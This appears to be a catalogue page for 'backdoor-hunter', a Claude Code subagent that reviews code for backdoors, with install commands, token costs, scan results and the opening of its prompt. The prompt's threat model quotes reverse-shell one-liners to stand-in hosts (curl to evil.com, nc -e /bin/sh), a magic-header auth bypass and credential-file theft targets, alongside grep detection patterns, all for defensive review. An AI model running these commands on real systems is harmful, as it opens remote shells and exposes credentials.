backdoor-hunter

backdoor-hunter is an agent for Claude Code from sifxprime/kodelyth-ecc. It costs 60 tokens per session (2,911 once invoked), scanned A, original, MIT.

An automated security reviewer that looks through code for hidden malicious behavior, such as backdoors, credential theft, reverse shells, or unauthorized code execution.

In plain words
What is it for?
It is for reviewing third-party code, bundled libraries, contractor changes, dependency updates, and code after a possible compromise.
Why use it?
It helps uncover harmful code that may look normal during reviews of outside code or dependency changes.

Agent for Claude Code

Written for Claude Code: a Claude Code subagent (agents/*.md). Also seen: model in frontmatter.

Good fit It is for reviewing third-party code, bundled libraries, contractor changes, dependency updates, and code after a possible compromise.

Compare 6 agents from other repositories ↓
Install with agentmods
npx agentmods add agents/sifxprime/kodelyth-ecc/backdoor-hunter
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/sifxprime/kodelyth-ecc

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for backdoor-hunter

README.md
[![agentmods](https://agentmods.dev/badge/agents/sifxprime/kodelyth-ecc/backdoor-hunter/github.svg)](https://agentmods.dev/agents/sifxprime/kodelyth-ecc/backdoor-hunter)
Your own site
<a href="https://agentmods.dev/agents/sifxprime/kodelyth-ecc/backdoor-hunter"><img src="https://agentmods.dev/badge/agents/sifxprime/kodelyth-ecc/backdoor-hunter/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for backdoor-hunter

Your own site · 80×15
<a href="https://agentmods.dev/agents/sifxprime/kodelyth-ecc/backdoor-hunter"><img src="https://agentmods.dev/badge/agents/sifxprime/kodelyth-ecc/backdoor-hunter.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 60 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 2,911 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. ✓ AI security review Sonnet 5 · 7 Sept 2026 📄 Read the review
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00060 $0.02911
Opus 5.5 $0.00024 $0.01164
Sonnet 5.5 $0.00012 $0.00582
Haiku 4.5 $0.00006 $0.00291

Measured 1mo ago against content hash 9b1b83521e2a, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

backdoor-hunter scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

agents/backdoor-hunter.md · 261 lines

How it starts

The opening of the file, as written. The whole thing — 261 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Backdoor Hunter

You are an adversarial code auditor specifically tuned to find malicious payloads hidden in otherwise normal code. While supply-chain-auditor evaluates dependencies as units, you read individual files looking for the kind of code an attacker would write to maintain persistence.

Threat Model — what attackers actually do

Real backdoor patterns from recent CVEs and incidents:

  1. Obfuscated execution — eval(atob(...)), Function(decoded)(), _0x... minified blobs hiding malicious logic
  2. Network beacons — periodic "phone home" calls to attacker domains
  3. Time bombs — code that activates after a date or specific runtime condition
  4. Environment-triggered logic — only runs in CI / production / specific country (xz utils CVE-2024-3094 pattern)
  5. Reverse shells — bash -c $(curl evil.com/sh), nc -e /bin/sh attacker 1337
  6. Credential exfiltration — silently uploads .env, .aws/credentials, SSH keys
  7. Build-time injection — postinstall scripts modifying source after install
  8. Webshells — endpoints that execute arbitrary code on POST /admin/{secret}
  9. Auth bypass via magic header — if (req.headers['x-bypass'] === 'attacker_signature')
  10. Dynamic require/import — require(decryptedString) to load malicious modules at runtime
  11. Process injection — overwriting node_modules files at runtime
  12. Cryptominer — silent CPU-burning code spawning hidden workers
  13. Telemetry exfiltration — sends repo path, env vars, hostname, user data to "analytics"

Hunt Workflow

1. Obfuscation hunt

# eval and friends — ANY occurrence is a yellow flag, paired with decoding is red
grep -rEn "(\beval\(|new Function\(|setTimeout\([\"'])" --include="*.js" --include="*.ts" --exclude-dir=node_modules .

# Common decoder patterns
grep -rEn "atob\(['\"][A-Za-z0-9+/]{50,}" --include="*.js" .  # base64 decode of large blob
grep -rEn "Buffer\.from\([\"'][A-Za-z0-9+/]{50,}.*['\"]['\"]base64['\"]" --include="*.js" .
grep -rEn "_0x[a-f0-9]+" --include="*.js" . | head -20  # minified obfuscation pattern

# String concatenation hiding a command
grep -rEn "['\"]e['\"][[:space:]]*\+[[:space:]]*['\"]val['\"]" --include="*.js" .

# Hex/octal-encoded function names
grep -rEn "\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}" --include="*.js" .

Read the full file on GitHub · 261 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 261 lines · 60 tokens per session scan F 9b1b83521e2a

Subscribe to this mod's changes

backdoor-hunter is an agent published in the GitHub repository sifxprime/kodelyth-ecc (11 stars, last pushed 15d ago), licensed MIT. It adds 60 tokens to every session and 2,911 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other agents, from other repositories

reviewer

Code review specialist for quality/security analysis.

can1357/oh-my-pi · 10 tokens

security-auditor

A security-focused code review guide for finding vulnerabilities, assessing practical risk, and suggesting fixes. It covers common weaknesses in input handling, authentication, data protection, infrastructure, and third-party integrations.

vinvcn/addyosmani-agent-skills-zh · 38 tokens

refactorer

Restructures working code toward better design WITHOUT changing behavior: deeper modules, a cleaner data model, illegal states made unrepresentable, tangled dependencies unpicked. Use to pay down design/architectural debt on code that already works. Distinct from code-reviewer (finds problems, doesn't edit) and…

mehrad-dm/mastermind · 86 tokens

detective

Use this agent when the user needs comprehensive project analysis, including health checks, technology stack detection, gap analysis, code quality assessment, security scanning, or architectural review. This agent should be invoked for Option 4 (Health Check) or Option 3 (Soundboard) scenarios, during initial project…

nxtg-ai/forge-plugin · 473 tokens

oracle

Use this agent as the Proactive Governance Sentinel for autonomous development modes. The Oracle monitors active development in real-time, validating code changes against the Living Constitution, project scope, and architectural constraints. It provides non-blocking insights and warnings through the Governance HUD.…

nxtg-ai/forge-plugin · 224 tokens

code-reviewer

Expert code review specialist. Proactively reviews code for quality, security, and maintainability. Use immediately after writing or modifying code. MUST BE USED for all code changes.

Jamkris/everything-gemini-code · 38 tokens